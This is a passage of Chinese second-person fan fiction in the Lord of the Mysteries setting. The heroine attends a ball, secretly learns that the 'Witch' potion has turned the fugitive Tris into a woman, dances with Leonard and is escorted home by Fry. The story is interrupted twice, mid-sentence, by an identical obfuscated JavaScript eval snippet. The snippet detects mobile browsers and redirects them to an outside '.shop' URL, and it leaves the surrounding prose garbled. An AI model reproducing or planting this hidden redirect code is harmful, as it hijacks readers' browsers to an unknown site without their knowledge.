你在他的目光下突然感觉有些慌乱,好像灵性突然产生了一种预警,但是你不知道那是什么样的感觉,你只觉得自己想要表达的歉意和感谢像一团缠住的线,不知道该先拉哪一头。你尽量组织语言,声音依旧很轻,甚至有些断续: “我不应该……向你发脾气的。对不起。” 你顿了顿,觉得这不够,“而且你今天陪了我一整天。谢谢。但是我一生气,就忘记了这件事。我应该感谢你。” 你越说越觉得词不达意,好像把两件事混在一起,逻辑混乱。“我被我的情绪冲昏了头脑,发了脾气,让你的情绪也不好了……” 你停住了,感觉脸颊在发热,幸好有粉底遮盖。你好像把事情弄得更乱了,东一句西一句,完全没有表达出自己心里的复杂心情,所以越说声音越轻,最后几乎听不见。 但伦纳德听清了。他脸上的那种无措和略微的紧绷,在你磕磕绊绊的道歉中,慢慢化开了。他没有立刻说话,只是静静地看了你几秒,那目光不像平时带着戏谑或打量,而是一种更深的、带着点复杂情绪的注视。 然后,他嘴角很轻微地向上弯了一下,不是平常那种玩世不恭的笑,是一个近乎温和的弧度。 “说什么傻话。” 他同样放轻了声音,但语气恢复了往常的平稳,甚至还带上了一点他特有的、那种懒洋洋的调子,“化妆坐得腰酸背痛想骂人,这不是很正常吗?我要是被按在那里摆弄几个小时,估计早就跳窗逃跑了。你能忍下来,没把美容师的梳子扔出去,已经很有值夜者的风范了。” 他顿了顿,目光重新投向窗外越来越近的、灯火通明的梅根议员宅邸,声音里多了点别的东西: “至于感谢和道歉……就更没必要了。任务需要,同伴理应互相照应。而且,” 他侧过头,再次看了我一眼,这次眼神里带上了点熟悉的调侃,“能看到我们天不怕地不怕的‘怪物’小姐,为了一点脂粉和发型愁眉苦脸、最后还别扭道歉的样子……嗯,这趟也不算白陪,而且我觉得这证明你是正常人。” 这不是在说那些积极参加舞会活动的夫人小姐不正常吗?!这样说话真的好吗! 你在心里吐槽,但不得不承认,被他这么一说,情绪好了很多,感觉脸上有点发烫,幸好有脂粉盖住了。 马车缓缓停下,梅根宅邸气派的大门和隐约传来的音乐声已经近在眼前。伦纳德率先下车,然后转身,再次对你伸出手,动作无比自然流畅。 “好了,抱怨时间结束,佩洛蒙西娅小姐。” 他脸上重新挂起那种适合舞会的、标准而得体的微笑,“该上场了。记住,微笑,观察,不舒服了就看我。我今天可是你的专属保镖。” 你把手放进他的掌心,借力下车,站稳。深吸一口气,夜晚微凉的空气混合着宅邸飘来的花香和音乐,让头脑清醒了不少。脸上的妆容依旧让你感觉不自在,挽着伦纳德的手臂依旧觉得这礼服是枷锁,但心里的情绪已经平稳了很多。 “嗯。” 你对他点点头,努力调动脸上的肌肉,露出一个练习过的、还算得体的微笑,“我们进去吧。” 76.第74章 女巫 马车在梅根议员宅邸灯火辉煌的门廊前稳稳停住。侍者快步上前打开车门。伦纳德先一步下车,转身,极其自然地向你伸出手。 你借着他的力道,提着裙摆,小心翼翼地踏下马车,低跟皮鞋落在光洁的石阶上,发出清脆的叩击声。晚风拂过,带着庭院里玫瑰的香气和隐约的乐曲声。 眼前是一座典型的、带有新古典主义风格的宽敞宅邸。巨大的拱形窗透出温暖明亮的光,将精心修剪的花园轮廓勾勒出来。门前已经停了不少装饰华丽的私人马车,衣着体面的绅士淑女们正说笑着步入大门。空气中弥漫着香水、雪茄、以及食物和美酒的混合气息,属于上述社会的繁华与喧嚣扑面而来。 就在你们准备步入时,一眼看到了站在门廊阴影下正在低声交谈的两个人——邓恩·史密斯队长和廷根市警署的斯通警长。队长穿着笔挺的黑色警礼服,肩章在灯光下微闪,而斯通警长则是一身略显紧绷的常服,手里把玩着一个未点燃的烟斗。 看到你们,队长停下话头,沉静地对我们点了点头,灰色的眼眸在灯光下显得深邃难测。他转向斯通警长,用他那惯有的、平稳中带着一丝温和的语调介绍道:“斯通,这位是我们部门新晋的正式成员,温蒂·佩洛蒙西娅小姐。” 他随即笑了笑,目光扫向伦纳德,“至于这位就不用我多介绍了吧?老熟人了。” 斯通警长是个面色红润、身材微胖的中年男人,他闻言哈哈大笑,向我颔首致意,然后用手肘轻轻碰了碰邓恩队长,语气带着熟稔的调侃:“好你个邓恩!你们部门现在招人,也开始看外貌了?这么漂亮的年轻小姐,放在你们那儿处理那些案子,岂不是太可惜了?” 邓恩脸上也浮现出淡淡的笑意,回应道:“这种需要体面和眼力的场合,自然是选派部门里最得体、最出色的年轻人。斯通,换做是你,难道不也更愿意欣赏漂亮的年轻人,你应该不会喜欢看我这样的老古板在这里煞风景吧?” “哈哈哈,说得对!” 斯通警长笑得更加开怀,顺手从口袋里掏出了他的烟斗,作势要点燃。一直安静站在我身旁的伦纳德见状,适时地微微躬身,对两位长官说道:“队长,斯通警长,那我们就先进去了。” 邓恩队长点了点头,目光在你们身上短暂停留,带着一丝不易察觉的鼓励。伦纳德会意,轻轻握了一下你挽着他手臂的手,示意你跟上。 你们便越过两位长官,踏着红地毯,在侍者查验请柬后,率先步入了灯火辉煌、音乐缭绕的宴会厅。身后传来斯通警长点燃烟斗的细微咝咝声和两人继续的低语。 伦纳德的手臂稳定而可靠。他微微侧头,用只有你们两人能听到的音量低语:“记住,微笑,观察,少说话。雪伦夫人很可能已经到了。我会尽量带你靠近她,但不会太刻意。剩下的,靠你的感觉。” “嗯。”你低声应道,深吸一口气,努力让因为紧张而有些僵硬的面部肌肉松弛下来,挂上得体而略显疏离的微笑。 一步踏入大厅,仿佛进入了另一个世界。巨大的枝形水晶吊灯将整个空间照得如同白昼,光滑如镜的拼花地板上,衣着华丽的宾客们如同潮水般流动。女士们缀着羽毛和珠宝的蓬松裙摆像一朵朵盛开的花,绅士们笔挺的黑色礼服则是沉稳的枝叶。 空气中交织着低声的谈笑、清脆的碰杯声、以及乐队演奏的悠扬华尔兹。香气更浓了,是各种高级香水、鲜花的芬芳,以及餐台上美食散发出的诱人气息。 伦纳德显然对这样的场合并不陌生。他从容地带着你穿过人群,不时向几个面熟的人点头致意,姿态轻松自如,仿佛他天生就属于这里。你则努力维持着微笑,尽量让自己的步伐显得自然,脑子里环绕着一个想法:“这个梅根议员好有钱啊……” 你们按照礼仪,先向今晚的女主人梅根夫人致意,然后便悄然退至相对安静的靠窗角落。 “放轻松,佩洛蒙西娅小姐。”伦纳德感觉到你手臂的紧绷,低声调侃,“就当是来欣赏音乐和美食的,顺便完成一点‘家庭作业’。” 他的玩笑让你稍微放松了一些。你们来到饮料区,伦纳德为你取了一杯果汁,自己则拿了一杯泛着气泡的香槟。 你手里端着伦纳德递来的冰镇果汁,目光开始扫描整个会场。目标非常明确——雪伦·霍伊夫人。 不过她几乎不需要寻找。就像磁石吸引铁屑一样,雪伦夫人本身就是一个光芒四射的焦点,吸引着所有人的目光。 她穿着一身剪裁极尽优雅的深紫色晚礼服,衬得肌肤胜雪,美艳的容颜上挂着无懈可击的、略带神秘感的微笑。现在她正站在一群绅士的包围圈中,轻松自如地周旋着,仿佛一位高超的指挥家,引导着谈话的节奏,每一个眼神、每一次轻笑,都恰到好处地牵动着周围人的情绪。 “真是……好厉害的交际花。” 你心中暗叹,“这种在这么多人面前还能表现得毫无破绽的本事,还真不是谁都学得来的。” 你提高了警惕,必须要更加小心,不能引起她的丝毫警觉。 机会出现在一支舒缓的华尔兹响起时。 几位绅士相继邀请雪伦夫人共舞,她优雅地接受,舞步翩跹中,与舞伴保持着恰到好处的距离和交谈。 趁着她背对你,旋转到舞池边缘的相对静谧处时,你深吸一口气,借着低头啜饮果汁的动作作为掩护,右手手指极快、极轻地拂过自己的右眼眶。 “虚视”,开启! 视野瞬间切换,现实世界的色彩褪去,蒙上了一层灵性视角特有的灰白与流光溢彩的轨迹。 你集中精神,将“目光”投向雪伦夫人,努力追溯她最近两日的记忆碎片。 纷杂的画面和声音如同快进的影片闪过:华丽的卧室、梳妆台前的沉思、与不同男人的调情片段……你咳嗽起来,这个雪伦夫人怎么和这么多男性有联系啊? 快速跳过一段信息含量较低并且少儿不宜的画面,你“看到”了场景是一间私密性极好的书房,只有雪伦夫人和另一个男人。那个男性的脸让你瞬间绷紧了神经——是特里斯!那个被通缉的序列8“教唆者”! 雪伦夫人的过去在你眼前播放——她用那种带着蛊惑的、慵懒的嗓音低语:“……亲爱的特里斯,你做得很好。‘教唆者’的魔药看来你已经消化得差不多了。是时候考虑下一阶段了……” 而特里斯的声音则带着压抑的兴奋和渴望:“夫人,请您指引我!” 雪伦夫人轻笑起来,红唇微启,吐露出令人心悸的秘辛:“记住,‘教唆者’的下一序列。魔药配方的主材料需要黑渊魔鱼的全部血液,玛瑙孔雀的蛋,辅助材料包括……”她清晰地报出了几种稀有古怪的材料名称。 这信息至关重要!你努力记忆,一边听一边想一个序列七的魔药配方值多少。 这时,特里斯向雪伦夫人询问为什么教派高层都是女性,惹得雪伦夫人发出一声意味深长的轻笑,仿佛在谈论天气般平常:“哦,你说的那个是小小的副作用,‘教唆者’的序列7叫做……女巫,它会让你,从内到外,真正变成一位真正的女巫。这不是很有趣吗?拥抱全新的自己。” “!” 性别转变?!序列7“女巫”会让男人变成女人?!这、这太颠覆常理了!特里斯……那个通缉令上的男人,如果真的晋升,会变成一个……女人? 这个信息带来的冲击力让你的灵性控制出现了剧烈的波动,被强制退出了“虚视” 状态。 现实的喧嚣和光影猛地灌回你的感官,一阵轻微的眩晕袭来。你下意识地握紧了杯子,喉咙被一口未来得及咽下的果汁微呛到,引发了一两声极力压抑的、轻微的咳嗽。 你侧过身,用拿着杯子的手背极其迅速地、不引人注意地擦拭了一下嘴角,同时深呼吸,强迫自己瞬间冷静下来。目光快速扫过四周,尤其是雪伦夫人的方向——她似乎并未注意到你这边的微小异样。她已经跳完舞,正与另一位男士谈笑风生。 这时,伦纳德如同幽灵般自然地靠近到你身侧,他手中拿着一碟小点心,看似随意地递过,绿色的眼睛快速扫过你,带着询问。他显然察觉到了你刚才那极其短暂的灵性波动和微小的失态。 你接过点心碟,指尖在碟子边缘极轻、极快地叩击了两下——这是你们之前约定的、表示“有发现,但需沉默”的暗号。同时,你抬起眼,迎上他的目光,微微摇了摇头,眼神传递出“一切正常,任务继续”的明确信息。 伦纳德几不可察地颔首,表示收到。他脸上依旧挂着那副适合舞会的礼貌微笑,仿佛只是在进行一次普通的点心递送。“试试这个,味道不错。”他语气平常地说,然后便自然地转向另一边,好像被墙上的某幅画作吸引。 你将那一小口点心送入口中,慢慢咀嚼,利用这段时间彻底平复了呼吸和心跳。脸上的表情也重新调整回略带拘谨和欣赏舞会的新人模样。 指尖无意识地摩挲着冰凉的玻璃杯壁,你的心神还沉浸在方才那惊人发现的余波中,并警惕地维持着表面的平静。就在你目光再次下意识地搜寻雪伦夫人的身影时,一个身影悄无声息地靠近,停在了你身侧。 那是一位年轻的女士。 她拥有一头柔顺亮泽的黑色长发,几缕刘海温柔地垂在额前,衬托出一张温润的、带着些许婴儿肥的圆脸蛋。她的五官组合在一起,呈现出一种毫无攻击性的甜美与文静。 她手中拿着一杯几乎未动的香槟,目光似乎与你一样,落在远处人群中心那个光芒四射的身影上。 “雪伦夫人……确实非常美丽,不是吗?” 她忽然轻声开口,声音柔和,语气里带着一种单纯的感叹,好像只是随意与你分享看法。 但你心中一下子警惕起来,只是面上不显,顺着她的目光看去,然后点了点头,用同样轻的声音诚实地回应:“是的,即使同为女性,我也不得不承认,雪伦夫人的外貌堪称完美。” 这没什么好隐瞒,雪伦夫人的美丽是客观事实,任何否认都显得虚伪。 然而,这位长相温文甜美的陌生女士在听到你的附和后,并没有像常人那样继续应和或展开话题。她只是静静地凝视着雪伦夫人的方向,嘴角那抹恬淡的微笑似乎没有丝毫变化,但眼神深处却掠过一丝极其复杂、难以捉摸的情绪——不是纯粹的欣赏,也不是明显的厌恶。 这微妙的态度让你心中一动。她似乎知道些什么?对雪伦夫人有不同于常人的看法? 这个念头促使你产生了进一步探查的冲动。 你状似随意地转身,向附近一位托着酒盘的侍者招了招手,示意他为你手中的空杯添一些果汁。在侧身等待 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17221787|197109||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 、利用身体角度暂时阻挡这位女士视线的刹那,你的手指以侍者身影为掩护,极快地从右眼眶划过。 你集中精神,“翻阅”她近期的痕迹。纷乱的碎片闪过:对着镜子上妆的专注、挑选衣饰的犹豫、适应新鞋子的笨拙……然后,一段过去中的她正对着一面华丽的穿衣镜,然后镜中映出的,还不是眼前这张甜美圆润的女性脸庞,而是一张属于男性的、略带腼腆的圆脸——正是通缉令上特里斯的脸! 镜中的“他”眼神充满了激动、忐忑,以及一种破釜沉舟的决绝,正颤抖着手,拿起一管看起来非常梦幻、浪漫的玫红色液体,紧接着是吞咽、痛苦翻滚、骨骼与肌肤重塑时令人牙酸的声响与光影扭曲……最后,镜中的影像渐渐稳定,赫然呈现出了此刻站在我身边的、这位温文甜美女士的容颜! “!!!” 你维持的“虚视”状态再次剧烈波动,你强行稳住灵性,在侍者恰好将添满的果汁杯递还给你的瞬间,关闭了能力。 现实的喧嚣回归,你接过杯子,指尖几不可察地颤抖了一下,杯中的果汁液面因此轻微晃动,差点漾出,但你立刻用力握稳了。 啊,真是……好大一个“惊喜”。 原来面前这位温婉可人的“小姐”,直到前天,还是一位不折不扣的“先生”! 是那个被通缉的序列8“教唆者”特里斯!他不仅晋升了序列7“女巫”,还如此快、如此堂而皇之地以全新的女性身份,出现在了这场可能有值夜者参与的舞会上!他就这么大摇大摆地站在了我面前! 特里斯怎么会在这里?!他(或者说她)想干什么?! 你的内心在疯狂呐喊,头脑风暴瞬间启动,思考着该如何最自然、最不引人怀疑地立刻离开这个危险人物身边。序列7的“女巫”……其危险程度远超序列8的“教唆者”,更何况她还与雪伦夫人关系密切! 然而,特里斯(或许现在该用特莉丝来称呼了)似乎并不打算轻易让你离开。她似乎没有察觉你刚才那极其短暂的异常,甚至有心继续这场寒暄。 她微微侧头,用那双看起来清澈无害的眼睛望着你,语气依旧轻柔,却问出了一个让你心头再次一紧的问题: “您……看到如此美丽的雪伦夫人,真的一丝一毫的嫉妒都没有吗?毕竟,她几乎吸引了在场所有男士的目光呢。” 她的问题似乎带着单纯的困惑,但仔细品味,却又有一丝难以言喻的试探。 你心中警铃大作。 她为什么这么问?她不是和雪伦夫人一伙的吗?雪伦夫人甚至给了她魔药配方,助她晋升。难道……在经历了那种翻天覆地的转变后,特莉丝内心对雪伦夫人产生了某种复杂的情绪,将她视作导致自己变成女人的推手,甚至心生怨怼? 你不确定,也无法理解这种超越常理转变后的心理。 但无论如何,你不能在此刻露出破绽,于是迅速收敛心神,摇了摇头,脸上露出一个略带无奈却又坦诚的浅笑,用之前练习过的、平稳自然的社交语调回答: “嫉妒?不,并没有。雪伦夫人的美丽是她自己的天赋与努力,她的魅力也源于她自身的特质。她的存在与光芒,并非夺走了我拥有的什么东西,所以我不会因此对她产生不好的想法。” 你稍微停顿,想到今天下午在美容沙龙如同受刑般的经历,以及雪伦夫人在人群中如鱼得水的模样,轻轻叹了口气,语气里带上了点真实的疲惫: “而且,美丽的维持往往需要付出外人难以想象的辛苦。我既没有雪伦夫人那样天生美丽的资本,也没有她那样自如应付男士的厉害本事。能在舞会的角落安静地吃吃喝喝,欣赏音乐,对我来说就足够了。” 这番说辞半真半假,既符合你此刻略显拘谨的“新人”人设,也巧妙地将自己定位为一个无害的、对社交中心无企图的小角色。 说完,你礼貌地对她笑了笑,目光自然地转向不远处正在与一位陌生绅士低声交谈的伦纳德,然后对特莉丝点了点头:“抱歉,我看到我的同伴似乎在找我了。与您交谈很愉快,祝您今晚玩得开心。” 没有给特莉丝继续深谈或提出新问题的机会,你端着果汁,步伐平稳但方向明确地走向伦纳德。你能感觉到,身后那道温文甜美的目光,似乎在你背上停留了短暂的一瞬,才缓缓移开。 走到伦纳德身边时,那位陌生绅士恰好结束交谈离开。伦纳德转过头,绿色的眼睛快速扫过你。他什么也没问,只是极其自然地侧身,用身体为你隔开了来自特莉丝方向的大部分视线,同时用只有你们两人能听到的音量,低沉而简短地说: “你脸色不太好。累了?” 我微微吸了口气,借着他身体的遮挡,用口型无声地、清晰地对他比了几个字——: “特里斯也在。” 伦纳德的瞳孔几不可察地收缩了一下,脸上的慵懒表情没有丝毫变化,但周身的肌肉似乎瞬间绷紧了一瞬。他极其轻微地颔首,表示收到。然后,他就像什么都没发生一样,用正常的音量,带着点调侃的语气说: “看来角落的果汁比舞池的香槟更吸引你?要不要去露台透透气?里面有点闷。” “好。” 你立刻同意。 你们便如同任何一对觉得室内气闷、想出去走走透气的普通舞伴,并肩朝着连接花园的露台方向走去。 77.第75章 来舞会不跳舞不是亏了吗 伦纳德安静地站在你身边,姿态闲适,仿佛真的只是在陪伴女伴透气。他随意地说着些无关紧要的闲话,关于音乐、装饰,甚至某个宾客滑稽的帽子。你心不在焉地微笑、点头,或简短回应几句,努力让自己看起来只是一个有些疲惫、在休息的普通宾客。 但你的大脑在飞速运转: 已经确认了特莉丝的身份和“女巫”序列的存在,知道了性别转换这个秘密,还从雪伦夫人那里知道了“女巫”的配方……收获其实已经远超预期。队长给的任务是观察雪伦夫人,评估风险,现在风险已经高到突破天际了。按理说,你应该知足,尽快安全撤离才是上策。 可是……你那该死的好奇心和“想要知道更多”的想法又悄悄冒了出来。你还是忍不住想,如果我能更靠近雪伦夫人一点,再看一眼,是不是能发现她使用“欢愉魔女”能力的痕迹?哪怕一点点,对未来的应对也是宝贵的筹码。 但理性同样告诉你,这太冒险了。序列六的感知绝非儿戏,你之前的探查已经是在走钢丝。而且,雪伦夫人近两天的记忆里,确实没有任何她动用非凡力量的画面,她掩饰得极好。 或许……可以从特莉丝那里旁敲侧击?一个刚刚晋升序列7的“女巫”,对自身新获得的能力肯定有使用的欲望或生疏,这两天肯定会尝试使用一下,但这个念头刚升起就被你自己掐灭了。 面对特莉丝,你心里有点发怵。不仅仅是因为她现在是序列7,更因为她身上那极不稳定的精神状态。通缉令上的特里斯是个阴险的“教唆者”,变成特莉丝后,谁知道那甜美文静的外表下,藏着怎样扭曲的心思?而你的“怪物”魔药,在正面战斗力上……基本等于零。 你怂了。 既想贪,又怕死。这种矛盾让你在露台上显得有些焦躁,尽管表面掩饰得很好。 一曲终了,新的旋律响起,是节奏更轻快跳跃的波尔卡。 伦纳德似乎察觉到了你平静表面下的焦虑。他偏过头,绿色的眼睛在庭院灯光的映照下显得格外明亮,低声问道:“你看起来有点心不在焉?要不要去跳支舞?活动一下,放松点。” 你愣了一下,抬眼看他。 他是在给我制造再次进入人群、或许能接近目标的机会? 你瞬间明白了他的暗示。但随即,你垂眸快速权衡: 雪伦夫人和特莉丝都在场内,你现在任何主动靠近或探查的行为,都可能被解读为不寻常。贪心不足蛇吞象,已经拿到了关键情报,不能再节外生枝了。于是你轻轻摇了摇头,低声说:“不用了,我有点累,在这里站会儿就好。” 然而,伦纳德听到你的回答,脸上却浮现出一种“果然如此”的淡淡笑意。 他没有收回提议,反而上前半步,面向你,右手抚胸,伸出左手,掌心向上,行了一个无可挑剔的又带着点浪漫的邀舞礼,脸上露出那种他特有的混合着戏谑和不容拒绝的微笑:“以为我邀请你是为了什么?”他挑眉,声音压得更低,却带着清晰的笑意,“亲爱的温蒂·佩洛蒙西娅小姐,你未免把我想得太功利了。来了舞会,一支舞都不跳,岂不是白费了你这身漂亮的裙子和我这身难得的正装?放轻松点,只是跳支舞。” 你这才意识到自己会错了意。他不是在暗示继续任务,而是真的看出你神经紧绷,想用这种方式让你放松,融入环境,同时也是一个合情合理、不惹人怀疑的举动。 脸上微微一热,你点了点头,将手伸出,指尖习惯性地、略带紧张地虚虚搭在了他等待的掌心上。 “又错了。” 伦纳德立刻低声纠正,语气里带着点无奈的调侃,但动作更快——他没有等待你调整,而是直接合拢手掌,握住了你试图撤回的手。 “不要随便把你的手,这么放松地放在一位绅士的掌心里。” 他一边说,一边自然地带着我转身,步向通往舞厅的门口,“尤其是,当这位绅士可能并不想那么绅士的时候。握紧一点,跟上我。” 你被他这突如其来的举动和话语弄得有点懵,下意识地跟着他的力道走,指尖能清晰地感受到他掌心因常年练习枪械和格斗留下的薄茧。说实话,这个动作接触超越了社交礼仪的范畴。 踏入舞厅,波尔卡明快的节奏扑面而来。 简单的华尔兹你还能勉强应付,但这种需要快速变换步伐并且充满跳跃和旋转的波尔卡,你就真的完全束手无策了。音乐响起,你顿时手忙脚乱,几乎踩不准节拍,几次都差点踩到伦纳德的脚,或者自己绊到自己。 “抱歉……我不太会这个……” 你有些尴尬地低声说。 “放松,跟着我就好。” 伦纳德的声音在耳边响起,沉稳而令人安心。他丝毫没有因为你的笨拙而露出不耐,反而将引导的力度加大,步伐稳定而清晰。当你向错误的方向迈步时,他会用手臂和身体巧妙地施加一点反向的力道,将你拉回正确的轨道。当你跟不上节奏时,他会稍稍放慢自己的半步,或者用一个流畅的旋转带着你过渡。 “左脚,后退,对……右,并步,转……很好,别看脚下,看我。” 他一边低声提示着最简单的步伐,一边带着你在舞池边缘相对空旷的地方旋转、移动。他的目光大部分时间落在你的脸上,眼睛里带着笑意,是一种纯粹的、鼓励性的轻松。 你尝试按照伦纳德的指令照做,强迫自己抬起头,将注意力从混乱的步伐转移到伦纳德身上,去感受他通过手臂传递过来的、明确而稳定的引导。渐渐地,你不再自己思考下一步该怎么走,而是完全信任他的引领,将身体交给音乐和他的带动。 “想象你在躲开老尼尔不小心打翻的坩埚,或者避开老师丢过来的粉笔?” 他甚至有心情开玩笑,带着你完成了一个简单的旋转,裙摆划出一个小小的弧线。 你最初的僵硬和尴尬慢慢消散。虽然步伐依旧凌乱,时不时会出错,但那种因为面对中序列非凡者而产生的焦虑、紧绷,在你这场手忙脚乱的舞蹈中,奇异地被转移了。 音乐响亮,灯光在旋转中变得模糊,周围的人群成了背景板。只需要专注地跟着伦纳德的引领,努力不把自己和他一起绊倒。 伦纳德的舞步娴熟而轻盈,即便带着你这个笨拙的舞伴,也丝毫不见狼狈。他甚至在几个转圈时,不着痕迹地让你完成了原本复杂的步伐,使你看起来不至于太过糟糕。他的眼神平静,嘴角带着一贯的若有若无的弧度,仿佛你们真的只是一对享受舞会的普通男女。 “感觉怎么样?” 在一个相对舒缓的过渡节拍中,他轻声问。 “好像……没那么难了!” 你惊讶地发现,虽然步伐依旧算不上标准,但至少不再磕磕绊绊,能勉强跟上他的节奏,甚至开始体会到音乐流动的愉悦。 “这就对了。” 他的眼睛里闪过一丝笑意,“舞会偶尔也可以只是跳舞。” “笑一个,佩洛蒙西娅小姐。” 在一次你成功跟上节奏,完成一连串小步时,伦纳德低头,在你耳边快速说道,“你现在看起来太严肃了,不像是在跳舞。别忘了,我们还在享受舞会。” 你下意识地扯了扯嘴角,尝试露出一个笑容,大概不太成功。 “算了,” 他叹了口气,语气却依旧轻松,“保持这样也行,至少看起来是‘努力尝试但资质不佳的可爱新人’,这个角色也挺适合你。” 一曲波尔卡在你不甚优美、但总算没有酿成舞池惨案的踉跄中结束。伦纳德扶着你站稳,松开了手。 你微微喘息,脸上因为运动泛起薄红,但心情却奇异地轻松了不少。 “谢谢。” 你轻声说,这句感谢发自内心。 伦纳德随意地摆了摆手,又恢复了那副懒洋洋的样子,仿佛刚才那个耐心引导的舞伴不是他。“不客气。我也获得了重要的情报,我发现,你在搞砸社交活动方面,还挺有天赋的。” 他毒舌了一句,然后示意你看向侧面的长餐桌,“要去跟我补充点能量吗?跳舞可是体力活,尤其是跟你跳。” 你忍不住笑了,这次的笑容真实了许多。“好。” …… 提前离开喧闹而暗藏危险的舞会,乘坐带有警徽的专用马车返回佐特兰街36号后,你一直提着的心才真正松了下来。 虽然队长还在应付梅根议员和警署的同僚,尚未归来,让这栋熟悉建筑缺失了最强的战力坐镇,但回到己方大本营的安心感,终究盖过了那份隐隐的不安。在值夜者总部,在查尼斯门的隐约隔绝感笼罩下,这大概是最安全的地方了。 在接待厅,你将今晚的所见所闻,包括用“虚视”窥探到的关于雪伦夫人告知特莉丝“女巫”配方,以及“女巫”魔药会导致服用者性别转变这个惊天秘密,一五一十、详细地告诉了伦纳德。 你看到伦纳德那总是带着诗人般慵懒和些许戏谑表情的脸上,在听到“男人变成女人”这一信息时,罕见地出现了极其明显的、几乎无法掩饰的震惊。 他绿色的眼睛微微睁大,嘴角惯有的弧度瞬间拉平,甚至不自觉地吸了口冷气,你心里那点因为过度紧张和后续怂了而产生的憋闷,忽然就消散了不少,甚至有点恶作剧得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17225950|197109||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 逞般的小小满足感。能让这位平时看起来什么都游刃有余的“午夜诗人”露出这种表情,今天这趟没白干。 “这可真是……超出常规认知的惊喜。” 伦纳德揉了揉眉心,迅速恢复了冷静,但眼神里的凝重丝毫未减,“特莉丝……必须立刻上报,她的危险等级和追捕策略需要完全重新评估。队长一回来就得马上处理。” 他看了看墙上的挂钟,又看了看你:“很晚了,你先回去休息。队长回来我会第一时间转告。不过……” 他顿了顿,“这么晚了,让你一个人回去不安全。虽然你已经是正式值夜者,但今晚情况特殊。” “我今晚还要守查尼斯门,走不开。” 伦纳德说道,“弗莱轮值要结束了,我让他送你回去。” “啊,不用麻烦弗莱先生了,我自己坐公共马车回去就行,很近的。” 你连忙摆手。和沉默寡言、气质冷冽的弗莱先生单独相处,总感觉有点压力。 “夜晚让一位淑女独自回家,那可不是绅士该做的事。” 伦纳德打断你,脸上又露出那种熟悉的调侃神色,但眼神认真,“尤其是一位刚刚参与了重要任务,可能……嗯,吸引了某些不必要注意力的淑女。” 他显然指雪伦夫人和特莉丝可能存在的关注。 他不由分说地拉着你走到地下。 弗莱坐在查尼斯门前,头发梳理得一丝不苟,在煤气灯下,有些冷淡的灰蓝色眼眸显得格外清晰。 “弗莱,” 伦纳德拍了拍弗莱的肩膀,用一种半开玩笑半认真的语气说,“我可是忍痛把这位我们小队最可爱的女士的安全托付给你了。一定要把她,” 他故意加重语气,“安全地送到家门口。” 弗莱安静地听着,那张冷淡的、没什么表情的脸没有丝毫变化。他只是点了点头,灰蓝色的眼睛平静地看向你,声音一如往常没什么起伏:“好的。佩洛蒙西娅小姐,请稍等,我去拿外套。” 他都这么说了,你也不好再坚持拒绝,只能向伦纳德和弗莱道谢。而且,有同事护送确实更安心些。 很快,弗莱披上了一件简单的深色外套回来,对你示意:“可以走了。” 你们一前一后走出黑荆棘安保公司,深夜的街道空旷寂静,只有煤气路灯投下昏黄的光晕。 弗莱步伐平稳,不紧不慢地走在你身侧稍前一点的位置。他没有主动说话,只是沉默地走着,气氛一时间有些安静。 走到一个公共马车停靠点,恰好有一辆夜间班次的马车缓缓驶来。弗莱上前一步,伸手拦停了马车,然后侧身拉开车门,用手虚挡在车门上方。你抬头看他,他依旧没什么表情。 “谢谢。” 你低声道谢,提着裙摆坐了进去。弗莱随后上车,坐在你对面的位置。马车缓缓启动。 车厢内光线昏暗,只有窗外偶尔掠过的路灯光影。沉默再次弥漫。你有些不自在,试图找点话题:“呃……弗莱先生,今晚值班还顺利吗?” “嗯。” 他简单地应了一声,停顿了两秒,似乎觉得这样回答太简短,又补充道,“一切正常。” 声音依旧平稳。 “那就好。” 你点点头,又不知道该说什么了。心里想着这位前牧师先生,话也太少了吧,真的能做好牧师吗? 马车在空旷的街道上行驶,轻微的颠簸中,你因为疲惫和放松,忍不住打了个小小的哈欠,赶紧用手掩住。 “累了可以闭眼休息一会。” 弗莱的声音忽然响起,在安静的车厢里显得格外清晰。他目光看向窗外,并没有看你,语气平淡,“到贝克西特街还有一段路。” “啊,好,谢谢。” 你有些意外,顺从地微微后靠,闭上了眼睛。但并没有真的睡着,只是养神。 又过了一阵,马车驶入相对安静的住宅区。你睁开眼,看向窗外熟悉的街道。弗莱似乎一直在留意,这时抬手,轻轻敲了敲车厢壁,用平稳的声线对车夫报出:“前面路口停一下。” 马车平稳地停在了你家门口。弗莱率先下车,然后如同之前一样,伸手扶住车门。在你踏下马车时,弗莱伸出了手,扶住了你的手臂,避免了踩空或绊倒的风险 “谢谢您,弗莱先生。” 站在家门口,你真诚地道谢。 弗莱松开了手,微微颔首,声音依旧平稳:“这没什么。晚安,佩洛蒙西娅小姐。” “晚安,弗莱先生。” 你拿出钥匙打开门,走进屋内,并确认门已经关好。然后上楼,安静了走到了自己的卧室,从自己房间的通风窗往外看,才看见他迈着沉稳的步伐,身影很快融入了夜色中。 78.第76章 性转还是太让人震惊了 翌日清晨,你带着整理好的思绪和依旧残留的些许信息带来的惊讶,敲响了邓恩队长的办公室门。队长正坐在办公桌后,手中拿着一份文件,眉头微蹙。 “队长。” 你走进去,关好门。 